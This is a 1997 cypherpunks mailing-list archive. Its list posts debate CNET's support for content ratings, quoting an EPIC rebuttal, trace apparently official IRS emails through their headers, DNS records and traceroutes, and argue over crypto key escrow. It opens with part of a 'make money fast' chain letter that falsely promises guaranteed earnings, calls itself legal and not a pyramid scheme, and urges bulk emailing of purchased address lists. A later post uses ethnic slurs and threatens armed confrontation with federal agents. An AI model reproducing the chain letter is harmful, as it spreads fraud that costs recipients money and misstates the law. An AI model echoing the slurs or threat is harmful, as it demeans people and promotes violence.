           important) to everyone whose address you can get your hands
           on. Start with friends and relatives since you can
           encourage them to take  advantage of this  fabulous 
           money-making opportunity.  That's what I did.  And they
           love me now, more than ever.  Then, email to anyone and
           everyone!  Use your imagination!  You can get email
           addresses from companies on the internet who specialize in
           email mailing lists.  These are very cheap, 100,000
           addresses for around $35.00.

IMPORTANT:  You won't get a good response if you use an old list, so
always request a FRESH, NEW list. You will find out where to purchase
these lists when you order the four 4 REPORTS.

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!

REQUIRED REPORTS

***Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE
SPECIFIC REPORT BY NAME AND NUMBER

____________________________________________________
REPORT #1 
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM:  

BC Enterprises
2899 Agoura Rd, #299
Westlake Village, CA 91361

____________________________________________________
REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:

LDR Enterprises	
204 High Ridge Dr
Belleville, IL  62223

____________________________________________________
REPORT #3 
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:

C & A Enterprises
1003 W Main #1B
Vienna, IL  62995

____________________________________________________
REPORT #4 
"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:

Hill Enterprises
7060 W. Sheridan Rd.
Suite 311
Chicago, IL

____________________________________________________

CONCLUSION

I am enjoying my fortune that I made by sending out this program. You
too, will be making money in 20 to 90 days, if you follow the SIMPLE
STEPS outlined in this mailing.

To be financially independent is to be FREE.  Free to make financial
decisions as never before.  Go into business, get into investments,
retire or take a vacation.  No longer will a lack of money hold you
back.

However, very few people reach financial independence, because when
opportunity knocks, they choose to ignore it.  It is much easier to
say "NO" than "YES", and this is the question that you must answer. 
Will YOU ignore this amazing opportunity or will you take advantage of
it? If you do nothing, you have indeed missed something and nothing
will change.  Please re-read this material, this is a special
opportunity. If you have any questions, please feel free to write to
the sender of this information.  You will get a prompt and informative
reply.

My method is simple.  I sell thousands of people a product for $5 that
costs me pennies to produce and email.  I should also point out that
this program is legal and everyone who participates WILL make money.
This is not a chain letter or pyramid scam.  At times you have
probably received chain letters, asking you to send money, on faith,
but getting NOTHING in return, NO product what-so-ever!  Not only are
chain letters illegal, but the risk of someone breaking the chain
makes them quite unattractive.

You are offering a legitimate product to your people.  After they
purchase the product from you, they reproduce more and resell them.
It's simple free enterprise.  As you learned from the enclosed
material, the PRODUCT is a series of four 4 FINANCIAL AND BUSINESS
REPORTS.  The information contained in these REPORTS will not only
help you in making your participation in this program more rewarding,
but will be useful to you in any other business decisions you make in
the years ahead. You are also buying the rights to reprint all of the
REPORTS, which will be ordered from you by those to whom you mail this
program.  The concise one and two page REPORTS you will be buying can
easily be reproduced at a local copy center for a cost off about 3
cents a copy. Best wishes with the program and Good Luck!

"IT WAS TRULY AMAZING"

"Not being the gambling type, it took me several weeks to make up my
mind to participate in this program.  But conservative as I am, I
decided that the initial investment was so little that there was no
way that I could not get enough orders to at least get my money back. 
BOY, was I ever surprised when I found my medium sized post office box
crammed with orders!  I will make more money this year than any ten
years of my life before."

                                        Mary Riceland, Lansing, MI

TIPS FOR SUCCESS

Send for your four 4 REPORTS immediately so you will have them when
the orders start coming in.  When you receive a $5 order, you MUST
send out the product/service to comply with US Postal and Lottery
laws.  Title 18 Sections 1302 and 1341 specifically state that:  "A
PRODUCT OR SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED."

WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:

1.    Name your new company. You can use your own name if you
       desire.

2.    Get a post office box (preferred).

3.    Edit the names and addresses on the program. You must
       remember, your name and address go next to REPORT #1 
       and the others all move down one, with the fourth one being 
       bumped OFF the list.

4.   Obtain as many email addresses as possible to send until you
       receive the information on mailing list companies in REPORT #3.

5.   Decide on the number of programs you intend to send out.  The
      more you send, and the quicker you send them, the more money
      you will make.

6.    After mailing the programs, get ready to fill the orders.

7.   Copy the four 4 REPORTS so you are able to sent them out as
      soon as you receive an order. IMPORTANT: ALWAYS PROVIDE
      SAME-DAY SERVICE ON ORDERS YOU RECEIVE!

8.    Make certain the letter and reports are neat and legible.

YOUR GUARANTEE

The check point which GUARANTEES your success is simply this:  you
must receive 15 to 20 orders for REPORT #1.  This is a must!!!  If you
don't within two weeks, email out more programs until you do.  Then a
couple of weeks later you should receive at least 100 orders for
REPORT #2, if you don't, send out more programs until you do.  Once
you have received 100 or more orders for REPORT #2, (take a deep
breath) you can sit back and  relax,  because  YOU  ARE  GOING TO 
MAKE  AT  LEAST  $50,000. Mathematically  it  is  a  proven 
guarantee.   Of  those  who  have participated in the program and
reached the above GUARANTEES-ALL have reached their $50,000 goal. 
Also, remember, every time your name is moved down the list you are in
front of a different REPORT, so you can keep track of your program by
knowing what people are ordering from you. IT'S THAT EASY, REALLY, IT
IS!!!

REMEMBER:
"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING."
"INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR
SEARCH FOR IT FOR THE REST OF YOUR LIFE."






From azur at netcom.com  Wed Jul 23 18:42:25 1997
From: azur at netcom.com (Steve Schear)
Date: Thu, 24 Jul 1997 09:42:25 +0800
Subject: Rating online content can work
Message-ID: <33D6B0D0.19D1@netcom.com>



Since the Supreme Court said the online world should be as free as
print, and no self-labeling system exists for magazines or newspapers,
why should the Net be any different?  I don't believe that a self-rating
system is either practical or desirable.  Enactment of any laws to put
teeth into Internet self-ratings will almost certainly run afoul of
Constitutional challenges, and without such laws compliance and thus
widespread acceptance is unlikely.

Quite full of youself, aren't you Mr. Barr?  I have no doubt that the
definition of what qualifies as a bona fide news organization is in the
eye of the beholder.  I certainly would not class CNET with any of the
major US newspapers, magazines nor the WSJ.  Be careful where you tread,
lest CNET and other Internet Content Coalition members be judged as
relatively no more than garage-shop operations unworthy of the
protections you so clearly covet.


--Steve

PGP mail preferred, see  http://web.mit.edu/network/pgp.html
RSA PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur at netcom.com
7075 West Gowan Road     | Voice: 1-702-658-2654
Suite 2148               | Fax: 1-702-658-2673
Las Vegas, NV 89129      | 
---------------------------------------------------------------------






From declan at vorlon.mit.edu  Wed Jul 23 19:18:37 1997
From: declan at vorlon.mit.edu (Declan McCullagh)
Date: Thu, 24 Jul 1997 10:18:37 +0800
Subject: EPIC letter to CNET.COM and the Internet Community (fwd)
Message-ID: 





---------- Forwarded message ----------
Date: Wed, 23 Jul 1997 21:30:26 -0400
From: Marc Rotenberg 
To: fight-censorship at vorlon.mit.edu
Cc: chris_barr at cnet.com
Subject: EPIC letter to CNET.COM and the Internet Community



To Mr. Barr of CNET.COM and the Internet Community,

On July 21 Christopher Barr, editor in chief of CNET,
endorsed Internet rating schemes in a column
titled "Rating Online Content Can Work".
http://www.cnet.com/Content/Voices/Barr/072197/index.html

In this column, Mr. Barr says

  A number of groups, including the
  American Civil Liberties Union and the Electronic
  Privacy Information Center, support the use of such
  software on principle, but they also point out that
  filtering software can be used to block any kind of
  content, not just sexually explicit material, and so
  it can end up restricting free speech.

I want to be clear that EPIC, both a plaintiff and counsel in
the challenge to the Communications Decency Act, does not support
the use of blocking software in principle or practice. We do not
support rating systems for the following reasons.

First, we believe that the fundamental purpose of a rating system
-- to allow one person to decide what information another person
may receive -- is contrary to the character of the Internet and
the principles of openness and individuality found in a free society.
Unlike search engines that allow individuals to select information
based on their preferences and desires, rating systems impose one
person's or one organization's viewpoint on another. Such techniques
could be used as easily by governments against citizens and employers
against employees as they could by parents against children, as was
made clear by one of the PICS creators in an early paper on the
topic.

Second, we have already seen rating systems used to block access to
information that could in no reasonable way be considered indecent.
Rating systems have blocked access to political organizations,
medical information, and unpopular viewpoints. In public libraries
and public schools such techniques violate well established First
Amendment freedoms. Such products should be roundly criticized by
Internet publishers, not endorsed.

Third, we believe that over time rating systes are likely to make it
easier -- not more difficult -- for governments around the world to
enforce content-based controls on Internet content. This process is
already underway in many countries which are now considering
PICS-based schemes to implement national content controls. Further,
our reading of the Supreme Court's opinion in Reno V. ACLU is that
content based controls would be upheld in the US once rating
systems and means for age verification and widely available. It
was the nature of the Internet, and not the availability of rating
systems, that produced the wonderful outcome in that case. But
once voluntary standards are in place, statutory controls will
surely follow.

We recognize that the availability of material that some might consider
offensive poses a difficult problem for on-line information providers.
We further recognize that there is indeed some material on the Internet
that is genuinely abhorrent.  But we do not believe you can hide
the world from your children. We should help our children to
understand the world, and then help them make it better. Good
parenting is not something found in a software filter; it takes
time, effort, and interest. And it takes trust in young people to
develop within themselves judgment and reason, and the ability to
tell right from wrong.

We also caution against any efforts to distinguish between bona fide
news organizations and others. The framers of our First Amendment
wisely drew no such distinction, and thus we have avoided the process
of licensing and government approval that othe countries have pursued.
News organizations that today seek to draw such a line may in the
future find themselves placed on the wrong side.

These are difficult issues. It is not easy today to criticize
the ratings proposal which has recently received White House
endorsement.  This fact alone should give those who value
free speech and who opposed the Communications Decency Act
reason to think twice. It is also the reason that we applaud the
American Library Association for its principled opposition to
the use of software filters in libraries.

We hope other organizations will join with EPIC, the ACLU, and
the ALA and recognize that we all  have a common interest in the
protection of intellectual freedom and the openness of the Internet.

We will continue to offer information about the PICS debate at our
web site -- www.epic.org -- so that individuals and organizations
that provide information online can make fully informed decisions
about the desireability of rating systems.

Finally, we hope CNET.COM will reconsider its position on the
rating issue. In the end, it will be the decisions of individual
Internet news organizations and other online publishers that will
determine the openness and accessibility of the Internet for us all.
We share a common interest in preserving the free flow of information
across the Internet.

Sincerely,

Marc Rotenberg, director
EPIC





==================================================================
Marc Rotenberg, director                *   +1 202 544 9240 (tel)
Electronic Privacy Information Center   *   +1 202 547 5482 (fax)
666 Pennsylvania Ave., SE Suite 301     *   rotenberg at epic.org
Washington, DC 20003   USA              +   http://www.epic.org
==================================================================







From declan at pathfinder.com  Wed Jul 23 21:25:01 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Thu, 24 Jul 1997 12:25:01 +0800
Subject: DEATH TO THE TYRANTS
In-Reply-To: <1.5.4.32.19970723233941.006d1374@pop.pipeline.com>
Message-ID: 



It's actually the Secret Service offices that are upstairs from the Time
bureau, on the top floor of the building. Perhaps because we're close
enough to see the White House? Dunno. The only time I went up there was
when they were selling Xmas tree ornaments. 

I have a call into the IRS about this mail, BTW. So far nobody has (or
admits to having) any idea what I'm talking about.

-Declan


On Wed, 23 Jul 1997, John Young wrote:

> 
> BTW, Declan, did you not once write that IRS offices are down the corridor
> from yours? If so, would you care to ask the thieves their opinion of the spam,
> especially if they are the authors, sneaking into your box and lifting lists
> while 
> you're sipping and baseballing with the brokers?






From tcmay at got.net  Wed Jul 23 21:37:30 1997
From: tcmay at got.net (Tim May)
Date: Thu, 24 Jul 1997 12:37:30 +0800
Subject: DEATH TO THE TYRANTS
In-Reply-To: <1.5.4.32.19970723233941.006d1374@pop.pipeline.com>
Message-ID: 



At 8:31 PM -0700 7/23/97, Declan McCullagh wrote:
>It's actually the Secret Service offices that are upstairs from the Time
>bureau, on the top floor of the building. Perhaps because we're close
>enough to see the White House? Dunno. The only time I went up there was
>when they were selling Xmas tree ornaments.
>
>I have a call into the IRS about this mail, BTW. So far nobody has (or
>admits to having) any idea what I'm talking about.
>

I'm not a reporter, but it seems to me that a major first step in writing
such a story would be to find out who own the account from which the mail
was (allegedly) sent.

Namely, who is "irsnwpr at net.insp.irs.gov" and what does he or she think of
the "DEATH TO TYRANTS" subject header, sent to me (and maybe others). And
what was the reason this was sent to folks who are neither lawyers nor
reporters nor anyone else who typically receives Treasury Department press
releases?

 The headers in the first of the messages I received were:

Received: from you for tcmay
 with Cubic Circle's cucipop (v1.13 1996/12/26) Fri Jul 18 19:25:02 1997
X-From_: irsnwpr at net.insp.irs.gov Fri Jul 18 15:30:05 1997
Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov
[204.151.245.2]) by you.got.net (8.8.5/8.8.3) with SMTP id PAA28395 for
; Fri, 18 Jul 1997 15:29:59 -0700
X-Real-To: 
Received: by tcs_gateway1.treas.gov id AA19560
  (InterLock SMTP Gateway 3.0 for tcmay at got.net);
  Fri, 18 Jul 1997 18:36:21 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
  Fri, 18 Jul 1997 18:36:21 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
  Fri, 18 Jul 1997 18:36:21 -0400
Date: Thu, 17 Jul 1997 12:18:35 -0400
From: IRS Inspection 
Message-Id: <199707171618.MAA02670 at net.insp.irs.gov>
To: Interested-Parties at net.insp.irs.gov
Subject: DEATH TO TYRANTS


I forwarded the header block a few days ago, and can furnish anyone with a
complete copy. Except for the "DEATH TO TYRANTS" subject, and some details
of the dates (as noted by John Young), it's the basic "Something of
Interest" message, which I also got a copy of.

In case there's interest in that, too, here's the header block for that one:

Received: from you for tcmay
 with Cubic Circle's cucipop (v1.13 1996/12/26) Fri Jul 18 19:25:08 1997
X-From_: irsnwpr at net.insp.irs.gov Fri Jul 18 15:39:43 1997
Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov
[204.151.245.2]) by you.got.net (8.8.5/8.8.3) with SMTP id PAA28954 for
; Fri, 18 Jul 1997 15:39:39 -0700
X-Real-To: 
Received: by tcs_gateway1.treas.gov id AA19652
  (InterLock SMTP Gateway 3.0 for tcmay at got.net);
  Fri, 18 Jul 1997 18:45:59 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
  Fri, 18 Jul 1997 18:45:59 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
  Fri, 18 Jul 1997 18:45:59 -0400
Date: Thu, 17 Jul 1997 12:28:11 -0400
From: IRS Inspection 
Message-Id: <199707171628.MAA02724 at net.insp.irs.gov>
To: Interested-Parties at net.insp.irs.gov
Subject: Something of Interest

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From steve at xemacs.org  Wed Jul 23 22:22:00 1997
From: steve at xemacs.org (SL Baur)
Date: Thu, 24 Jul 1997 13:22:00 +0800
Subject: gotcha (was Re: DEATH TO THE TYRANTS)
In-Reply-To: <1.5.4.32.19970723233941.006d1374@pop.pipeline.com>
Message-ID: 



Tim May  writes:

> Namely, who is "irsnwpr at net.insp.irs.gov" and what does he or she think of
> the "DEATH TO TYRANTS" subject header, sent to me (and maybe others).
 ...
>  The headers in the first of the messages I received were:

> Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov
> [204.151.245.2]) by you.got.net (8.8.5/8.8.3) with SMTP id PAA28395 for
> ; Fri, 18 Jul 1997 15:29:59 -0700
 ...
> Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov
> [204.151.245.2]) by you.got.net (8.8.5/8.8.3) with SMTP id PAA28954 for
> ; Fri, 18 Jul 1997 15:39:39 -0700

If those headers are forged, it is an expert forgery.

The MX hosts for the net.insp.irs.gov domain are fun:
net.insp.irs.gov        preference = 10, mail exchanger = tcs-gateway2.treas.gov
net.insp.irs.gov        preference = 20, mail exchanger = tcs-gateway1.treas.gov
net.insp.irs.gov        preference = 30, mail exchanger = gotcha.treas.gov
irs.gov nameserver = gotcha.treas.gov
irs.gov nameserver = nis.ans.net
irs.gov nameserver = ns.ans.net
tcs-gateway2.treas.gov  internet address = 204.151.246.2
tcs-gateway1.treas.gov  internet address = 204.151.245.2
gotcha.treas.gov        internet address = 204.151.246.80

`gotcha.treas.gov'?  It's a real host connected through ans.net ...

12  h10-1.t32-0.New-York.t3.ans.net (140.223.57.30)  139.839 ms  126.702 ms  125.82 ms
13  h11-1.t56-1.Washington-DC.t3.ans.net (140.223.57.21)  147.248 ms  124.774 ms  118.815 ms
14  f0-0.cnss60.Washington-DC.t3.ans.net (140.222.56.196)  192.54 ms  125.939 ms  166.529 ms
15  enss3080.t3.ans.net (192.103.66.18)  130.917 ms  131.057 ms  145.377 ms
16  gotcha.treas.gov (204.151.246.80)  133.065 ms  134.345 ms  131.596 ms

Except for hop 16, this is the same traceroute as to
tcs-gateway2.treas.gov.  For what it's worth, the traceroute to
tcs-gateway1 is slightly different:

 8  h13-1.t16-0.Los-Angeles.t3.ans.net (140.223.9.14)  44.997 ms  51.526 ms  51.875 ms
 9  h14-1.t112-0.Albuquerque.t3.ans.net (140.223.17.10)  60.895 ms  60.426 ms  57.762 ms
10  h14-1.t64-0.Houston.t3.ans.net (140.223.65.9)  81.131 ms *  85.067 ms
11  h14-1.t80-1.St-Louis.t3.ans.net (140.223.65.14)  117.62 ms  100.623 ms  104.878 ms
12  h10-1.t60-0.Reston.t3.ans.net (140.223.61.13)  126.368 ms  136.017 ms  123.367 ms
13  f2-0.c60-10.Reston.t3.ans.net (140.223.60.220)  129.505 ms  128.214 ms  128.52 ms
14  enss3079.t3.ans.net (204.148.66.66)  134.707 ms  162.912 ms  160.774 ms
15  tcs-gateway1.treas.gov (204.151.245.2)  154.268 ms *  155.898 ms






From frantz at netcom.com  Wed Jul 23 22:30:50 1997
From: frantz at netcom.com (Bill Frantz)
Date: Thu, 24 Jul 1997 13:30:50 +0800
Subject: Fw: Cops, Spies Fail to Slow Crypto Bill
In-Reply-To: 
Message-ID: 



At 10:00 AM -0700 7/23/97, Tim May wrote:
>And when people repeatedly point out that common criminals, terrorists, and
>the like are unlikely in the extreme to escrow their keys with the
>government...the government shills and officials are silent.

I can't resist.  "When crypto is outlawed, only outlaws will have crypto."
However, in the case of crypto, essentially all terrorists, child
pornographers, big-time drug dealers, and big-time money launderers will
have and use it.

To try to redeem myself for yielding to temptation let me offer the
following scenario:

It is sometime in the year 2002.  The GAK crowd has achieved its wildest
wet dream, and all development of non-GAKed crypto stopped in 1998.  All
the standard computer software uses GAKed crypto.

Let us further assume that US Airframes Inc. (USAI) is in heavy competition
with French Wings Inc. to build the next generation of passenger airplanes.
The competition is so heavy that the respective governments are doing all
they can to provide under-the-table help to their national champions.  This
certainly includes playing the GAK card and decrypting every communication
they can get their hands on.

Now assume you are the security manager of USAI.  Your job is to ensure the
confidentiality of communications between your branch offices and
headquarters in the US.  You get (perhaps from someone who enjoys child
pornography) a copy of PGP which was saved on some forgotten CDROM backup
dating from 1997.  You share your copy with headquarters and the branch
offices, generate key pairs, and validate their MD5 hashes through some
offline protocol.  Now all really sensitive traffic is encrypted with PGP
and then sent through the standard GAK crypto.

Now consider the problem of the French Government.  The only way they can
know you are using illegal crypto is to decrypt the GAKed outer layer.  If
they arrest you for using illegal crypto, they have blown their covert
monitoring.  The US government will make a big international incident about
this misuse of GAK and impose a special tariff on French wine.  If the
French keep quiet, you can continue to use PGP.

This is the classic dilemma of covert decryption.  Kahn describes is well
in "The Code Breakers".  It also applies to the four horsemen.  If the
government arrests someone for illegal crypto, the whole organization knows
that part of the operation has attracted government attention, and can
change their communications and/or have those people take a vacation to
cool off.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz at netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA







From info at we-work-for-you.com  Thu Jul 24 14:34:23 1997
From: info at we-work-for-you.com (info at we-work-for-you.com)
Date: Thu, 24 Jul 1997 14:34:23 -0700 (PDT)
Subject: Put Us To Work For You TODAY!!
Message-ID: <199707241733.NAA03494@hitsrus.com>


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From admin at CyberSpaceTechnologies.com  Thu Jul 24 00:45:07 1997
From: admin at CyberSpaceTechnologies.com (CST Administration Dept)
Date: Thu, 24 Jul 1997 15:45:07 +0800
Subject: I have had ENOUGH of this government bullshit!!
Message-ID: <199707240727.CAA07675@oceanus.host4u.net>





Screw this. I have finally blown my stack over this bullshit governmental
crap. From this oint forward, I fully and completely make available, IN THE
U.S, the International version of PGP 2.63.ix.
If there are any cops, Feds, Spies, wops, spics, gigaboos, alternate
lifestyles, punks, crackers, crackheads, whatever other name calling terms,
I left out,    want to stop me --- TRY!!!! This is bullshit people! We have
the inalieable right to full and total screcy, privacy, and personal
protection of whatever  * W E *  determine to be private information. The
government has gotten out of hand with this shit. If you are a member of the
F.B.I, C.I.A, S.S, N.S.A, X.Y.Z community and you don't like this action,
show up at my doorstep guns drawn. Cause you show up at MY door step, you'll
need them! That I promise!

To download the International version of PGP 2.93.ix within the U.S borders,
go here-------->> ftp://ftp.cyberspacetechnologies.com/pub/pgp/pgp263ix.zip

  Here is my homepage, http://www.cyberspacetechnologies.com
You can find anything you wnat about Cyrptography, General Encryption
Information, PGP, Anonymous Remailing, PGP and Cryptography Newsgroups, and
chat real time with folks from here. If you Feds don't want people like me
making shit like this avaliable, then come get me. (Excuse the rant folks,
but this shit is REALLY pissing me off!) McCain, take your Secured Public
Networks Act and shut it up your ass!
I'm done.






From stewarts at ix.netcom.com  Thu Jul 24 01:23:42 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Thu, 24 Jul 1997 16:23:42 +0800
Subject: I have had ENOUGH of this government bullshit!!
In-Reply-To: <199707240727.CAA07675@oceanus.host4u.net>
Message-ID: <3.0.2.32.19970724010956.03171084@popd.ix.netcom.com>



And you can get PGP outside the US borders from ftp.ox.ac.uk
or any other ftp://ftp.pgp.net/pub/pgp mirror, 
and also in the US at www.pgp.com or pgp.mit.edu.

At 03:27 AM 7/24/97 -0400, CST Administration Dept wrote:
>Screw this. I have finally blown my stack over this bullshit governmental
>crap. From this oint forward, I fully and completely make available, 
>IN THE U.S, the International version of PGP 2.63.ix.
...
>	ftp://ftp.cyberspacetechnologies.com/pub/pgp/pgp263ix.zip
>  Here is my homepage, http://www.cyberspacetechnologies.com
>You can find anything you wnat about Cyrptography, General Encryption
>Information, PGP, Anonymous Remailing, PGP and Cryptography Newsgroups, and
>chat real time with folks from here. If you Feds don't want people like me
>making shit like this avaliable, then come get me. (Excuse the rant folks,
>but this shit is REALLY pissing me off!) McCain, take your Secured Public
>Networks Act and shut it up your ass!



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From apache at gargoyle.apana.org.au  Thu Jul 24 01:24:03 1997
From: apache at gargoyle.apana.org.au (Charles)
Date: Thu, 24 Jul 1997 16:24:03 +0800
Subject: CNET editor endorses self-labeling, "news site" standard
In-Reply-To: 
Message-ID: <199707240728.RAA27801@gargoyle.apana.org.au>



I noted the following on the cypherpunks mail list and would like to
make a few comments concerning your recent CNET article which you
will find following the comments made by Declan McCullagh.

> Since the Supreme Court said the online world should be
> as free as print, and no self-labeling system exists
> for magazines or newspapers, why should the Net be any
> different? Why isn't the Net community opposing
> "mandatory voluntary" self-labeling systems as
> staunchly as newspapers and magazines would fight a
> similar requirement? It's best to ask these questions
> of Christopher Barr (chris_barr at cnet.com), editor in
> chief of CNET, who endorsed such a proposal in his
> column below.
> 
> Barr says that he wants to ensure "that
> only real news organizations claim [the] privilege"
> of rating as news sites with RSACnews. But who decides
> what's a news site? Is CNET? pathfinder.com? epic.org,
> which the government treats as a news site when responding
> to FOIA requests? The Drudge Report? How about the NAMBLA
> News Journal?
> 
> My report on the possible perils of such systems is at:
> 
>   http://pathfinder.com/netly/opinion/0,1042,1173,00.html
> 
> -Declan
> 
> ****************
> 
> http://www.cnet.com/Content/Voices/Barr/072197/index.html
> 
> rating online content can work (7/21/97)
> 
> With the Communications Decency Act vanquished once
> and for all, it's time to explore alternatives for
> protecting our youth from inappropriate online
> content. As an independent content provider, CNET's
> position has always been to give the power to the
> reader (or the reader's parents) and not the

Let's face it the ratings system has very little to do with giving
power to the reader, indeed it is primarily aimed at taking power
away from the reader to make decisions for themselves and placing
that power in someone elses hands.

> government, to decide which sites have acceptable
> content. And now, President Clinton has been forced to
> come around to our way of thinking. After initially
> supporting the CDA, Clinton is recommending that sites
> rate themselves and that parents use filtering
> software to set limits for their children.
> 
> Self rating systems allow sites to attach labels to
> themselves to indicate what kind of content the sites
> contain. The labels are interpreted via the Platform
> for Internet Content Selection (PICS) technology
> endorsed by the World Wide Web Consortium standards
> body. The PICS technology allows any group, such as
> the PTA or a church, to set content standards that can
> then be adopted by individual Web sites. There are
> already several rating services such as the
> Recreational Software Advisory Council on the Internet
> (RSACi), Safe For Kids, and SafeSurf. Early on, CNET
> supported the RSACi rating system and chose to rate
> both CNET.COM and NEWS.COM.
> 
> Controlling content takes two things: content-ratings
> and filtering-software. A number of software programs,
> including Cyber Patrol, Cyber Sentry, Internet
> Explorer, and SurfWatch, already support PICS and can
> read the rating labels. Such software blocks out any
> sites that don't correspond to the ratings you've
> selected. For instance, if your rating system says
> that images with partial nudity are inappropriate, the
> software won't load those pages.
> 
> To be sure, filtering- or blocking-software is not
> without limitations. A number of groups, including the
> American Civil Liberties Union and the Electronic
> Privacy Information Center, support the use of such
> software on principle, but they also point out that

EPIC certainly does NOT support the use of such software in
principle. Please post a prominent correction on your 'news' site. I 
qualify the terms news site only to point out that whether your site 
is actually a legitimate news site in the opinion of others will 
vary and to note that having never heard of CNET before and being 
cognizant of this particular factual error I have stumbled across and 
the blatant hypocracy of your arguments I would probably classify it 
as a 'fantasy site' however I'll withhold judgement until I've seen a 
little more of CNET. You probably question my ability and right to 
judge you and I may question your ability or someone elses to judge 
what is a legitimate news site; so what? Thats the problem, just who 
will judge who and why should it matter. The concept is absurd and 
repugnant. Marc Rotenburg, a director of EPIC, has emailed you a 
thoughtful response and considering the nature of your factual error 
it would be heartening to see his letter published unedited and in 
full to correct your error.

> filtering software can be used to block any kind of
> content, not just sexually explicit material, and so
> it can end up restricting free speech. These groups

Am I correct in assuming from this that so long as only sexual 
material is blocked this is not restrictive of free speech in your 
view?

> are also fearful that a foreign government could use
> filtering software to control what content its
> citizens can access. These are just a few of the
> thorny issues that the technology introduces.    

Do you feel that if the ratings system becomes widely deployed your 
own government would be above this? What was the nature of the CDA 
that was recently defeated?? Think again.

> Nevertheless, we at CNET feel that content ratings are
> the best alternative, and we'll continue to rate
> ourselves using the RSACi guidelines. But we also feel

Yet you go on to say that you yourself should be subject to less 
onerous ratings due to your self-proclaimed 'news' status. Should we 
introduce all sorts of exemptions to allow art galleries to publish 
their nudes on the net, or photographers to publish similar works of 
art (hint: one mans art is anothers pornography and vice versa), or 
indeed pictures or text describing the massacres in East Timore which 
would be offensive and hurtful to many, not the least of which would 
be members of the Indonesian government; or are such text and images 
only appropriate when found on a self proclaimed 'news' site?

> that different rating systems are necessary to cover
> different types of sites. For example, sites that
> carry news stories cannot be accurately rated under
> the RSACi standards. These were created to allow
> parents to block sites with nudity, sex, violence, and
> offensive language. But what happens when you visit a

Oh I get it, the ratings system is good enough for everyone _else_ 
but not for your own special unique position.

> news site that publishes pictures from a war zone
> depicting death and destruction? Or a legitimate news
> story about an online scam involving pornography

Are only 'news' sites given constitutional protection in the USA?

> sites? Microsoft faces this dilemma: its Internet
> Explorer supports PICS but several of the rating
> systems unintentionally block access to its news site,
> MSNBC.

Prima facia the material must have been offensive under their own
voluntary guidelines; thus it _should_ be censored. Perhaps
self-imposed censorship is running into the same sorts of problems
commonly experienced with government imposed censorship. 

> Because of situations like these, we feel that bona 
> fide news sites should be subject to different 
> criteria. To that end, CNET is also a founding member

No doubt you would.

> of the Internet Content Coalition, which seeks to
> establish ratings for news sites and to make sure that
> only real news organizations claim this privilege.

Looks to me like an attempt to establish your own little power group
to ensure that the rules of censorship you advocate apply to
everyone but yourselves whilst at the same time hypocritically
proclaiming you support censorship based on ratings.

> Users can then choose to allow access to news while
> selecting another rating system like RSACi that
> prohibits access to other kinds of sites. We intend to

...which may carry the very same material you propose to publish 
under your 'special' 'news' category.

> use the Internet Content Coalition's guidelines to
> rate NEWS.COM, while other of our sites, such as
> GAMECENTER.COM, will be rated using more restrictive
> systems.  

How very convenient and cosy for CNET.
 
> The success of any self-rating and filtering system
> depends on how well it works and how it's accepted and
> used. What's your opinion? Do you use filtering

It's a silly idea.

> software? Should news sites have a separate rating?

No and no. 

Should any material I come across be unsuitable for me I find the
'back' button more convenient, easier to set up and allows more
discretion.

> Email me and I'll put the responses in my next column.

Look forward to seeing my comments up there.
 
> Christopher Barr is editor in chief of CNET.

Once you start advocating exceptions to the very censorship (oops I
mean ratings) system you advocate your going to run into all sorts of
problems. From your perspective you see 'legitimate news sites'
(whatever that is supposed to mean..is CNET as _legitimate_ as say
TIME; I hardly think so. If you succeed in establishing this you'll
be squashed by the big boys as being illegitimate and new players to
the news game will never get a look in as a 'legitimate news site')
others will see their own equally worthy interests, perhaps more
worthy in the opinion of some, as exceptions to the general rule eg.
art galleries, womens sexuality and health centres, moslems offended
by christianity, Palestinians offended by Jews, homosexual sites,
family planning sites etc etc etc. They all will have valid
arguments why they should be allowed to promulgate certain material
if you accept that news sites have a valid argument why the full
effect of voluntary censorship ratings should not be applied.

I once had sympathy for voluntary ratings. I can respect your 
position somewhat if the ratings are applied _consistently_. That 
means no exceptions. Exceptions based on utility raises all sorts of 
difficulties and really just points out how silly the whole idea is 
in the first place. If, however, you favour such a system go ahead but 
please don't advocate that different rules should be applied to 
different people or organizations. My concerns with voluntary ratings 
